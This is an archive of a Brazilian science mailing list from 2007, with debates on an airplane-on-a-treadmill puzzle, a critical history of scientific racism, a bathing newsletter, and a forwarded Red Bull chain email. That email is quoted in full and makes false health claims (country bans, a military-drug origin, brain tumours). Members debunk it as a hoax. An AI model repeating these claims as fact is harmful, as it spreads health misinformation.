> atrito e seu valor sejam irrelevantes, ou que basta haver atrito. Um
> atrito próximo do zero poderia resultar que a esteira levaria 200
> mil anos para mover o avião a sua própria velocidade (sua da
> esteira), o que é pouco razoável como caso concreto (o avião precisa
> decolar antes disso).

Sim, poderiam ser 200 mil anos se o atrito fosse pequeno o suficiente.
O tempo não é fator fundamental por ora.

> Já concordamos que rolamentos tem atrito, mas o atrito, em relação
> ao empuxo de propulsores de avião, é desprezível, e pode ser
> desconsiderado.

Chegaremos a isso...

> A única forma de defender sua posição inicial, que o avião NÃO
> consegue decolar se a esteira se move a mesma velocidade em direção
> contrária, seria se o atrito nos rolamentos permitisse a esteira
> aplicar força equivalente ao avião ao se mover.

Tentarei mostrar q não.

> mas espero que o resultado final respeite as premissas do enunciado
> e não seja um experimento totalmente diferente.

Eu tb espero. E espero não ter abusado de sua paciência. Eu o fizer,
fique à vontade de me dar um cascudo.

[]s,

Roberto Takata



SUBJECT: P/Silvio: Racismo "científico"
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:02

Salve, Silvio!

Silvio: Gostaria que vs. me explicasse esse racismo científico durante
a Guerra de 40 e sua relação com "bizantino" na acepção citada.

Manuel: Muitos adeptos de Darwin, inclusive alguns muito próximos,
aderiram ao racismo "científico". T. H. Huxley, por exemplo, conhecido
como "o buldogue de Darwin", escreveu que "nenhum homem racional, bem
informado, acredita que o negro médio seja igual, e muito menos
superior, ao branco médio". (Citado por Stephen J. Gould em "A Falsa
Medida do Homem"; Martins Fontes; São Paulo; 1999; p. 65)

Francis Galton (primo de Darwin), por sua vez, fundou a "eugenia": uma
técnica pretensamente baseada na teoria da evolução e que teria como
objetivo o aprimoramente deliberado da raça (leia-se, raça superior).

Considera-se Ernst Haeckel (brilhante embriologista) como o expoente
maior do racismo "científico". Em 1905, filiou-se à Associação para a
Higiene Racial (Rassenhygiene)fundada pelo médico Alfred Ploetz. Esse
clínico geral - Ploetz - chegou a pertencer ao círculo íntimo de
Hitler, que o nomeou, em 1936, para uma cátedra na Universidade de
Munique.

Naquela época (fim do século XIX e até meados do século XX) circulavam
entre os evolucionistas algumas idéias tidas como "sólidas", como: a)
todo traço fenotípipo é uma adaptação (lembro que Darwin não defendia
isso); b) o predominantemente homozigoto - indivíduo de raça pura - é
superior ao predominantemente heterozigoto - o mestiço (no século XX,
quem mais se destacou na defesa dessa tese foi o esquerdista H. J.
Muller, um dos felizardos agraciados com o Prêmio Nobel); c) As raças
humanas são espécies nascentes e, algumas delas, espécies evanescentes,
isto é, em via de extinção por inaptidão; d) no reino animal, existe
uma pressão seletiva no sentido do aumento da inteligência, pelo que,
tendo por critério o tamanho médio do crânio ou o QI mediano, pode-se
estabelecer uma hierarquia entre as raças humanas. Devido aos
preconceitos presentes no "Zeitgeist" (o espírito do tempo), à falta de
informação, aos interesses racionalizados (afinal, nenhum cientista é
um abstrato sujeito cognoscente apenas interessado na verdade; vale
dizer, não há auréola de santidade científica) e, sobretudo, a testes
tendenciosos e/ou mal elaborados - que não levam em conta determinações
extragenéticas do grau de inteligência, como a fome endêmica que
atravessa gerações entre as classes sociais subalternas,
predominantemente indígenas, mestiças ou de origem africana, bem como a
diferença de acesso à boa educação e, também, os bloqueios psíquicos
gerados pela baixa auto-estima entre os indivíduos dessas mesmas
classes -, era quase assente a idéia de que os caucasianos
representavam a raça "superior", ocupando o zênite de uma pirâmide cuja
base seria formada por diversos povos neolíticos ou caçadores-
coletores, tais como os ianomânis (que só sabem contar até dois), os
pigmeus, os fueguinos etc.

Todas essas teorias outrora consideradas "standards" já foram
refutadas, total ou parcialmente, por neodarwinistas e afins, como
Motoo Kimura, L. Cavalli-Sforza, B. D. Latter, Th Dobzhansky. Sewall
Writ, Ernst Mayr entre outros. Este último, Ernst Mayr, em seu
livro "Biologia, Ciência Única", rechaça a crença na suposta pressão
seletiva no sentido do aumento da inteligência.

Até hoje a inteligência é indevidamente supervalorizada e, com
freqüência, confundida com a Razão. Até Carl Sagan certa vez
afirmou: "Mais inteligente é melhor" [Smarter is better]. Será? Se me
fosse imposta uma escolha: salvar da morte ou a d. Raimundinha,
excelente cozinheira com 80 de QI, ou então o inteligentíssimo Edward
Teller, físico que inventou a bomba de hidrogênio e que inspirou o
personagem "Dr. Fantástico" de Stanley Kubrik, certamente que eu
salvaria a cozinheira.

Resta saber por que o racismo "científico" veio a se converter, no
século XX, numa ideologia capaz de galvanizar multidões e justificar
uma guerra total, de extermínio de massas, como foi a Segunda Guerra
Mundial.

A questão é complexa, mas creio que uma das causas tenha sido a
substituição do capitalismo livre-concorrencial - em que se destacava o
indivíduo "self-made man", o solitário jaguar da selva do mercado -
pelo capitalismo das grandes corporações - com seus
capitalistas "coletivos" e "anônimos": as S/A's; com seus técnicos
convertidos em peças intercambiáveis de uma tecnoestrutura "impessoal";
com seus trabalhadores irmanados em centrais sindicais e o "corpo"
burocrático do Estado desempenhando funções econômicas cada vez mais
importantes, principalmente na Alemanha: uma potência emergente sem
colônias, sedenta de "Lebensraum" (espaço vital). E tudo isso tendo por
pano de fundo uma conjuntura internacional anômica, com retração do
mercado entre as nações, desorganização da divisão internacional do
trabalho...

A partir de então, e em tais condições, parece que a psicologia de
grupo passou a estabelecer as regras. A antiga mentalidade tribal - a
tribo é tanto mais coesa quanto mais intenso for o
antagonismo "nós/eles" - ressurgiu do inconsciente com forças
multiplicadas, trazendo consigo todos os mitos e demônios da floresta,
entre eles Moloch.

Nesse contexto, o antigo social-darwinismo de mercado é substituído
pelo social-darwinismo de Estado; este, ao contrário daquele, encara
a "luta" pela sobrevivência não tanto como disputa interindividual,
mas, sobretudo, como empreendimento "cooperativo" e guerra entre grupos
(i.e., a seleção natural estabeleceria a triagem não só dos indivíduos,
mas também dos grupos, etnias e nações). De acordo com essa "nova
edição revista e aumentada", a disposição para cooperar com o próximo
na guerra contra o distante - visando a ocupação completa do habitat -
é tida como a mais nobre das vantagens seletivas.

Com relação à Medicina, esta passa a ser "holística", ocupando-se mais
com a saúde da raça do que com o bem-estar dos indivíduos.

Abraços,
Manuel Bulcão



SUBJECT: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 22:06


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
>> Sim, o avião irá acompanhar a esteira.
>>
>> Já desliguei a esteira e tirei as asas do meu avião. Mas tive que
>> trocar de avião, porque no antigo os motores e o tanque ficavam na
>> asa.

From: "rmtakata" <roberto.takata@bol.com.br>
> Oquei. Então, contato! E deixe o bichinho partir. À meia potência.
> Agora, o q acontece com a velocidade - sobe eternamente rumo ao
> infinito ou atinge um máximo?


Primeiro a resposta: ligando o motor a uma potência fixa, em algum momento o
avião atingirá uma velocidade máxima.


Agora, não quero interromper, ou queimar etapas do seu raciocínio, mas acho
que vc quer chegar ao ponto que a esteira pode levar o avião a velocidades
teoricamente infinitas (deixando o atrito do ar e outros "detalhes" físicos
do mundo real de fora), enquanto o motor leva o avião a no máximo uma
determinada velocidade. Então se acelerarmos suficientemente a esteira
podemos deter o movimento do avião e impedi-lo de voar.

Nem sei se era aí que você queria chegar, mas, caso seja, concordo neste
ponto. Podemos impedir o avião de voar apenas usando a esteira. É verdade
que no problema a condição da esteira ter a mesma velocidade que o avião nos
garante que ele poderá voar, mas é interessante saber que podermos criar uma
condição onde uma esteira impediria o avião de voar.

Desculpe a pressa e provavelmente a suposição errada das suas intenções.

[]s Ricardo




SUBJECT: Re: [ciencialist] Red Bull - Você também precisa saber
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 22:17

A "glicoronolactona" (tradução de glucuronolactone - gamalactona do ácido
glicurônico) é "criada" pelo fígado a partir da glicose, o q tem de mal
nisso? Todo açúcar é "estimulante", considerando que estamos tratando de
energia pura. Não comam chocolate, crianças!

A cianocobalamina (b12) é essencial ao ser humano, vou passar a recomendar
Red Bull para vegetarianos, teve pelo menos 2 casos de mortes de crianças de
pais vegetarianos por não suprimir a necessidade de seus filhos em relação a
B12 e outros nutrientes comumente encontrados em alimentos de origem animal.
* e definitivamente b12 não tem absolutamente nada a ver com "estados de
excitação", atribuiria esta causa a cafeína.

** substâncias q diluem o sangue?? opa, se quebrar moléculas de gordura
temos a solução para quem tem colesterol alto!
** em que ponto "O consumo regular de Red Bull provoca uma série de doenças
nervosas e neuronais irreversíveis."??

na mensagem:
"POR SE TRATAR DE UM TEMA DE SAÚDE PÚBLICA, POR FAVOR, REPASSEM ESTE E-MAIL
A TODOS OS AMIGOS, PARTICULARMENTE AOS QUE TÊM JOVENS NA FAMÍLIA."

leia-se:
HOAX!!!!

(agora volto ao limbo, não posto mais que 2 mensagens por ano nesta lista..
=)

[]'s

Ivan "Doomer" Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
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----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 9:49 PM
Subject: [ciencialist] Red Bull - Você também precisa saber


RED BULL: VOCÊ TAMBÉM PRECISA SABER !

POR SE TRATAR DE UM TEMA DE SAÚDE PÚBLICA, POR FAVOR, REPASSEM ESTE E-MAIL A
TODOS OS AMIGOS, PARTICULARMENTE AOS QUE TÊM JOVENS NA FAMÍLIA.

ESTA BEBIDA ESTÁ À VENDA EM SUPERMERCADOS E NOSSOS JOVENS PODEM CONSUMI-LA
SEM MAIORES CUIDADOS. E ISSO PODE SER MORTAL!

RED BULL foi criada para estimular o cérebro de pessoas submetidas a um
grande esforço físico e em "coma de stress" e não para ser consumida
habitualmente como uma bebida estimulante inocente e refrescante.

RED BULL é uma BEBIDA ENERGIZANTE, comercializada no mundo com o slogan:
"Aumenta a resistência física, a capacidade de concentração e a velocidade
de reação, dá mais energia, agilidade e melhora o estado de ânimo".



Tudo isso pode ser encontrado numa latinha de RED BULL, "a bebida energética
do milênio!" No Brasil ela é oferecida de forma curiosa com o refrão: "Red
Bull, lhe dá asas!" Sendo que "asas" é pronunciada com uma entonação
maliciosa, dando a dica subliminar de que a bebida também dá "o maior
barato".

A RED BULL conseguiu chegar a quase 130 países, com um faturamento anual
acima de 21 bilhões de euros na venda de cerca de 3 bilhões de latas. A
energia estimulante e os esportes foram eleitos pela marca como as
principais características coladas à sua imagem. Dois segmentos atrativos
para os jovens, cativados pelo estímulo que a bebida provoca.



Foi criada por Dietrich Mateschitz*, um empresário de origem austríaca, que
a descobriu por acaso, durante uma viagem de negócios a Hong Kong , quando
trabalhava para uma empresa fabricante de escovas de dente.

Uma lata de 250 ml, contém 20 gramas de açúcar(no rótulo da lata SUGARFREE
está escrito "não contém açúcar), 1000 mg de taurina, 600 mg de
glucuronolactona, 80 mg de cafeína, 50 mg de inositol e vitaminas do
complexo B (B2, B3, B5, B6 e B12).

É uma bebida fabricada na Áustria, importada por: Red Bull do Brasil Ltda.


MAS AS INFORMAÇÕES SOBRE ESTA BEBIDA, VÃO ALÉM DISSO


A FRANÇA e a DINAMARCA acabam de proibi-la por ser um cocktail da morte ,
devido aos seus componentes de vitaminas misturadas com "GLUCURONOLACTONE",
produto químico desenvolvido e utilizado pelo Deptº. de Defesa dos USA,
durante os anos 60, para estimular o moral das tropas norte-americanas no
VIETNÃ. Seus efeitos eram próximos ao de uma droga alucinógena, reduzia o
stress da guerra. Entretanto, no organismo dos soldados, foram
significativos os aumentos dos índices de enxaquecas, tumores cerebrais e
doenças do fígado.

Na lata de RED BULL lê-se, entre os seus componentes, a presença de 80 mg de
GLUCURONOLACTONE, medicamento catalogado como estimulante.

O que a lata de RED BULL não informa são as conseqüências do seu consumo
freqüente, que exigiria do fabricante colocar uma série de ADVERTÊNCIAS,
tais como:

1. É perigoso tomá-lo se, em seguida, não se fizer exercício físico, já que
a sua função energizante acelera o ritmo cardíaco e pode provocar um enfarte
fulminante.


2. O risco de se sofrer uma hemorragia cerebral, porque o RED BULL contém
substâncias que diluem o sangue, para que seja mais fácil ao coração bombear
o sangue e assim se poder fazer esforço físico com menos esgotamento.

3. É proibido misturar RED BULL com álcool (esta advertência sucinta consta
no rótulo do produto). A mistura com álcool transforma a bebida numa "bomba"
que ataca diretamente o fígado e torna a zona afetada incapaz de se
regenerar.

4. Um dos componentes principais do RED BULL é a vitamina B12, utilizada em
medicina para recuperar pacientes que se encontram em coma alcoólica. Daí o
estado de excitação em que se fica após tomá-lo. É como se tivéssemos de
sair de um estado de embriaguez cada vez que se bebe uma lada de Red Bull.

5. O consumo regular de Red Bull provoca uma série de doenças nervosas e
neuronais
irreversíveis.


CONCLUSÃO


A venda de RED BULL deveria ser acompanhada dessas advertências em letras
visíveis. Alguns países acharam melhor proibir a venda pois se
desavisadamente ou intencionalmente for misturada com álcool torna-se uma
bomba-relógio para o consumidor, principalmente entre os adolescentes ou
mesmo adultos que desconheçam todos os efeitos da bebida.



.........................................



* Dietrich Mateschitz, é um dos mais ricos empresários do mundo, segundo a
revista "FORTUNE". Sua trajetória escolar foi atribulada, concluiu o curso
de Administração de Empresas em 10 anos, mais do dobro do tempo normal. Está
sempre na companhia de belas mulheres e estrelas do cinema, sua pele
eternamente bronzeada, não importa a época do ano, lhe garantem a fama de
"bon vivant". E isso tudo, graças ao único produto no portfólio de sua
empresa: a bebida RED BULL.

Ele nada vai fazer para alertar os usuários, se não for obrigado a isso.


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: Red Bull - Você também precisa saber
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:19

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> RED BULL: VOCÊ TAMBÉM PRECISA SABER !

Nehuma das alegações está embasada em estudos científicos.

Aqui tem uma leitura mais apropriada a respeito das chamadas bebidas
energéticas:
http://www.littlerockmarathon.com/PDFs/Resources/EnergyDrinks.pdf

Mas o q é revoltante mm a respeito da Red UruBull é:

Empresa aproveita cratera para promover bebida energética
http://www1.folha.uol.com.br/folha/cotidiano/ult95u130601.shtml

[]s,

Roberto Takata



SUBJECT: PLANADOR COM PROBLEMAS..:-) Re: avião em esteira
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:21

Agora é que entendí o problema!
Como sou burro! Tinha visto de outra maneira!
Por outro lado, se não tem motor, não é avião, é planador.
Mas o tipo de ''esteira'' que não vai mover o avião só pode ser aquela
comparável à esteira ergométrica das academias.
Imagino-me numa esteira destas *usando patins*!
Vou ficar parado ou vou sendo levado de ré, bem devagar, carregado pelo
atrito.
As rodas é que girarão, rolando com a esteira enquanto eu fico relativamente
''parado''.
abr/M.


>From: "Ricardo" <ricardos@infolink.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-)
>Re: avião em esteira
>Date: Mon, 26 Feb 2007 22:06:29 -0300
>
>
>--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> >> Sim, o avião irá acompanhar a esteira.
> >>
> >> Já desliguei a esteira e tirei as asas do meu avião. Mas tive que
> >> trocar de avião, porque no antigo os motores e o tanque ficavam na
> >> asa.
>
>From: "rmtakata" <roberto.takata@bol.com.br>
> > Oquei. Então, contato! E deixe o bichinho partir. À meia potência.
> > Agora, o q acontece com a velocidade - sobe eternamente rumo ao
> > infinito ou atinge um máximo?
>
>
>Primeiro a resposta: ligando o motor a uma potência fixa, em algum momento
>o
>avião atingirá uma velocidade máxima.
>
>
>Agora, não quero interromper, ou queimar etapas do seu raciocínio, mas acho
>que vc quer chegar ao ponto que a esteira pode levar o avião a velocidades
>teoricamente infinitas (deixando o atrito do ar e outros "detalhes" físicos
>do mundo real de fora), enquanto o motor leva o avião a no máximo uma
>determinada velocidade. Então se acelerarmos suficientemente a esteira
>podemos deter o movimento do avião e impedi-lo de voar.
>
>Nem sei se era aí que você queria chegar, mas, caso seja, concordo neste
>ponto. Podemos impedir o avião de voar apenas usando a esteira. É verdade
>que no problema a condição da esteira ter a mesma velocidade que o avião
>nos
>garante que ele poderá voar, mas é interessante saber que podermos criar
>uma
>condição onde uma esteira impediria o avião de voar.
>
>Desculpe a pressa e provavelmente a suposição errada das suas intenções.
>
>[]s Ricardo
>
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SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:24

Olá Takata

Takata: "Oquei. Então, contato! E deixe o bichinho partir. À meia
potência.
Agora, o q acontece com a velocidade - sobe eternamente rumo ao
infinito ou atinge um máximo?"

Não sei, não dá para saber. Sua modificação fez tantos ajustes que não
é mais possível saber o que acontece, pois está violando varias
premissas, regras, condições e aspectos do funcionamento real dos
sistemas em movimento, que nem sei o que acontece com este "avião sem
asas sobre uma esteira que o levou para tras em certa velocidade, com
atrito nos rolamentos que não sabemos quanto, e sem considerar o
atrito do ar".

Por exemplo, como este avião sem asas se move? Ele ainda tem motor e
hélices? Se tem, como as hélices vão produzir empuxo, se não
consideramos o atrito do ar?

Se consideramos o atrito do ar, a simples existência de hélices impede
que o avião, mesmo sem asas, atinja a velocidade da esteira, pois o
atrito das hélices com o ar, mesmo paradas (sem girar), diminuem essa
velocidade (consequentemente, as rodas do trem de pouso vão girar,
como se o avião já estivesse andando "para frente").

Nesse caso, ao ligar o motor e fazer girar as hélices, elas produzirão
MAIS potência, para uma mesma rotação, que se o avião estivesse parado.

Em um caso concreto, factível, com a esteira andando a uma velocidade
razoável, digamos 50 km/h, as hélices irão levar o avião, mesmo com
baixíssimo giro, a essa velocidade em relação a esteira (que equivale
a ficar parado no solo, o que equivale ao que aconteceria com o avião,
se estivesse com o motor ligado, e as hélices em baixíssima rotação).

Ou seja, reproduzimos o estado natural do avião, com baixíssimo
consumo de energia, bastando manter as hélices girando em espera. A
simples passagem do ar, devido ao movimento da da esteira e do avião
sobre ela, produz a potência capaz de manter o avião a 50 km/h
positivos, parado em relação ao solo, e a 50 Km/h em relação a
esteira. Agora, basta acelerar, normalmente, como o avião faria se
estivesse sobre o solo, e decolar.

O ar, e não a esteira ou o solo, é a fonte de atrito para mover
aviões. Se levar isso em conta, não pode "desprezar" o atrito com o ar
ao tentar dar outro enfoque ao enunciado. Não pode, por exemplo,
refazer o experimento no vácuo. Mesmo um avião a jato tem de usar o ar
(a não ser foguetes, com combustível incluído no sistema para os jatos).

Um abraço.

Homero





SUBJECT: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em es
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:26

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Agora, não quero interromper, ou queimar etapas do seu raciocínio,
> mas acho que vc quer chegar ao ponto que a esteira pode levar o
> avião a velocidades teoricamente infinitas

Não exatamente.

O raciocínio é mais ou menos o seguinte. Se a velocidade do avião é
fixa, é constante, e o colocamos em um movimento retilínio: ele estará
em MRU!

Nessas condições, a resultante sobre o avião é igual a zero. Como no
caso em q o avião estava com a hélice desligada - antes de ligar a
esteira. Agora, ligando a esteira, teremos uma resultante, a força
atrito, q fará com q o avião fique na velocidade de esteira...

[]s,

Roberto Takata



SUBJECT: O BANHO
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 26/02/2007 22:27

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DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 26/02/2007 - No.043

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© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

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Olá,

Há alguns dias, uma leitora solicitou informações sobre o Banho. Aparentemente, ela queria dados científicos que a ajudassem convencer seu filho adolescente a tomar uma ducha pelo menos uma vez por semana.

Peço desculpas à digníssima colaboradora pela demora, mas a pesquisa foi feita e o resultado você também poderá conferir hoje.

Espero que seja útil de alguma forma... :)

Boa leitura,

Dr. Alessandro Loiola.

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O Banho: DA HIGIENE À EXPLORAÇÃO

© Dr. Alessandro Loiola


Não é de surpreender que a idéia de banhar-se para manter a pele limpa esteja intimamente associada ao conceito de saúde: a pele, um casaco semi-impermeável de alta tecnologia, 5 camadas e quase 2 metros quadrados de tamanho, é a principal barreira contra os agentes nocivos presentes no meio ambiente. Mas será que banhar-se com regularidade é realmente importante para manter a pele saudável?

Esta pergunta, enviada por um leitor possivelmente sentado na frente de seu computador encardido e coberto por moscas varejeiras, valeu uma pesquisa que rendeu algumas informações interessantes sobre o Banho. Vamos a elas.

As origens do banho se estendem para muito antes da pré-história. Materiais saponificantes anteriores a 2.800 a.C. foram encontrados em cilindros escavados nas ruínas da antiga Babilônia. As inscrições indicavam que aquele material era utilizado para limpeza dos cabelos e para auxiliar a confecção de penteados. Os antigos egípcios também se banhavam bastante: os Papiros de Ebers, datados de 1.500 a.C., descrevem uma mistura de diversos sais e óleos utilizados para higiene pessoal.

Na civilização Ocidental, coube aos Romanos a difusão do hábito. Os primeiros Banhos Romanos foram construídos 300 anos antes de Cristo. No seu auge, Roma contava com mais de 13 aquedutos para manter seus habitantes sempre limpos. Contudo, com o declínio do Império, os Banhos também perderam gradativamente a popularidade.

Na Idade Média, os médicos desencorajavam o banho, afirmando que ele retirava as camadas mais protetoras da pele, aumentando o risco de doenças. Mas todo mundo sabe bem onde as excelentes idéias de higiene pessoal daquele tempo foram dar: em uma Peste que dizimou quase metade da população da Europa.

O banho se tornaria novamente um hábito no Ocidente apenas no Século XVII, quando os químicos franceses Nicholas Leblanc e Michel Eugene Chevreul aprimoraram as técnicas para fabricação de sabonetes. Mais ou menos no mesmo período, a descoberta dos Micróbios deu um impulso adicional ao conceito de higiene. Por volta de 1880, os chuveiros já eram parecidos com os nossos e o banho havia se tornado uma rotina. Como resposta, a lâmina de barbear descartável surgiria em 1895 e a escova de dente como a conhecemos, em 1938.

Mas a história do banho não termina neste mar de rosas. Da metade do Século XX para cá, alguns cientistas voltaram a questionar a sua validade. Estudos realizados na década de 1960 mostraram que uma boa chuveirada na verdade espalha as bactérias da pele no ambiente à sua volta, podendo aumentar o número de microorganismos nas camadas mais superficiais. Como conseqüência, os cirurgiões passaram a ser orientados a não tomar banho imediatamente antes de entrarem no bloco cirúrgico.

Alguns pesquisadores cascões também observaram que, mesmo após vários dias sem banho, a população bacteriana da pele permanece estável, fornecendo uma excelente desculpa para adolescentes mais preguiçosos.

A verdade é que, exceto pelo hábito de lavar as mãos, não existem muitas evidências científicas associando o banho ou a limpeza geral da pele à prevenção de infecções. O banho freqüente, afirmam vários cientistas, pode possuir vários benefícios estéticos, relaxantes e odoríficos, mas parece servir pouco do ponto de vista microbiológico.

Ainda assim, eu recomendo que você se banhe todos os dias. Se não o fizer por razões microbiológicas, faça-o baseado na premissa de combate ao estresse e descoberta do corpo. Afinal de contas, em que outra situação você se desligaria do mundo, cantando músicas do Cauby Peixoto enquanto explora os dedos dos pés? Só mesmo durante um bom, morno e relaxante banho.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:33

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Não sei, não dá para saber. Sua modificação fez tantos ajustes que
> não é mais possível saber o que acontece, pois está violando varias
> premissas, regras, condições e aspectos do funcionamento real dos
> sistemas em movimento, que nem sei o que acontece com este "avião

Dá pra saber. Apenas pelo fato de não ser, ainda, igual à condição do
problema não significa q aqui não tenha solução.

> Por exemplo, como este avião sem asas se move? Ele ainda tem motor e
> hélices? Se tem, como as hélices vão produzir empuxo, se não
> consideramos o atrito do ar?

Se se diz q agora se ligam as hélices, supõem-se q tenham hélices. São
hélices normais.

> Se consideramos o atrito do ar, a simples existência de hélices
> impede que o avião, mesmo sem asas, atinja a velocidade da esteira,

De modo algum. Se quiser, pode calcular a resistência do ar sobre a
aeronave e ver q a esteira desloca a aeronave com a hélice parada.

> O ar, e não a esteira ou o solo, é a fonte de atrito para mover
> aviões. Se levar isso em conta, não pode "desprezar" o atrito com o
> ar ao tentar dar outro enfoque ao enunciado. Não pode, por exemplo,
> refazer o experimento no vácuo.

Ninguém está propondo fazer experimento no vácuo.

[]s,

Roberto Takata



SUBJECT: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em es
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:47

Olá Takata

Takata: "O raciocínio é mais ou menos o seguinte. Se a velocidade do
avião é fixa, é constante, e o colocamos em um movimento retilínio:
ele estará em MRU!

Nessas condições, a resultante sobre o avião é igual a zero. Como no
caso em q o avião estava com a hélice desligada - antes de ligar a
esteira. Agora, ligando a esteira, teremos uma resultante, a força
atrito, q fará com q o avião fique na velocidade de esteira..."

Pois é, mas não é isso que acontece. Não há MRU em relação ao ar, e
isso faz TODA diferença. Ao estar sobre a esteira, que se move para
tras, ele estará se movendo, em relação ao ar, na mesma velocidade.

Suas hélices, mesmo sem se mover, farão certa pressão aerodinâmica
contra o ar, de forma que isso será parte da potência ao se ligar o
motor. Seria como uma espécie de "turbo" no sistema de hélices.

Se, por outro lado, tentar fazer a experiência em ambiente sem ar, no
vácuo, não é mais um avião de toda forma.

O MRU que você pretende não vai ser possível na forma como o
experimento é apresentado.

E de toda forma, a resultante, entre o atrito dos rolamentos, mínimo
para manter o avião sobre a esteira, e o empuxo das hélices, enorme em
relação a este, tornará desprezivel. E fará com que o avião tenha
apenas de vencer o movimento para tras (e não a esteira).

Ao manter a esteira em movimento sem aceleração, você tem razão em
afirmar que o avião também está sem aceleração, mas isso só acontece
se esperar, por tempo suficiente, que o avião se mova com ela.

Se voltar ao enunciado, verá que isso NÃO acontece. O avião se move
enquanto a esteira começa a rolar. Mas, role a esteira, ou não role
(podemos NÃO ligar a esteira), o avião terá empuxo suficiente para
decolar, pois NÃO precisa vencer seu movimento para tras (pois isso
NÃO aconteceu ainda), bastando apenas vencer o atrito dos rolamentos,
desprezível.

Então, se acelerarmos um avião, de costas, por qualquer meio, ele terá
mais dificuldade para decolar. Mas NÃO é isso que foi proposto pelo
enunciado. Ele propõe que, um avião parado sobre uma esteira, que
começa a se mover para frente, pode ser impedido de decolar se a
esteira se mover para tras. E isso não aconteceria, o avião decolaria
normalmente.

Um abraço.

Homero




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:54

Olá Takata

Takata, se você acelerar um avião, de costas, por qualquer meio,
esteira, caminhão, ladeira, etc, ele terá de vencer sua inércia para
tras, seu movimento para tras, e terá mais dificuldade de decolar.

Mas NÃO é essa a pergunta contida no enunciado. O avião NÃO vai se
mover para tras, não vai esperar que a esteira ganhe velocidade, não
será necessário vencer sua inércia, não mais que a inércia de um avião
parado.

Como um avião parado vence sua inércia com o uso do empuxo, do ar, e
não das rodas ou do atrito destas com a esteira, o fato da esteira se
mover para tras, NÃO afeta de nenhuma maneira a decolagem.

É isso que estamos debatendo e tentando esclarecer, não um hipotético
avião que JÁ está se movendo para tras (por qualquer meio).

Desde o começo concordamos que, sem atrito, o avião decola pois não há
nada que a esteira possa fazer. Também concordamos que, se o avião JÁ
está se movendo para tras, sua decolagem será mais difícil que se
estiver parado.

Mas, conforme o enunciado, se o avião se move, de parado para
movimento para frente, e a esteira se move na mesma velocidade, mas em
sentido contrário, o efeito do atrito nos rolamentos é desprezível, e
NENHUM efeito no avião será causado, e a decolagem será feita sem
problemas.

Só falta você concordar com a última afirmação..:-)

Um abraço.

Homero





SUBJECT: Re: Darwinismo na TV
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:02

Olá Jose Renato

Grato pela lembrança. A entrevista deve ser excelente, o entrevistado
é Daniel Dennet, um filosofo e um dos maiores evolucionistas, autor do
livro (fantástico, todos deveriam ler, apesar de um tanto difícil), A
Perigosa Idéia de Darwin, entre outros.

Os que puderem assistir, devem faze-lo (eu com certeza vou).

Um abraço.

Homero





SUBJECT: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em es
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:03

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Pois é, mas não é isso que acontece. Não há MRU em relação ao ar

Como não? O ar está parado em relação ao solo. O avião está em MRU em
relação ao solo.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:05

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Mas NÃO é essa a pergunta contida no enunciado. O avião NÃO vai se
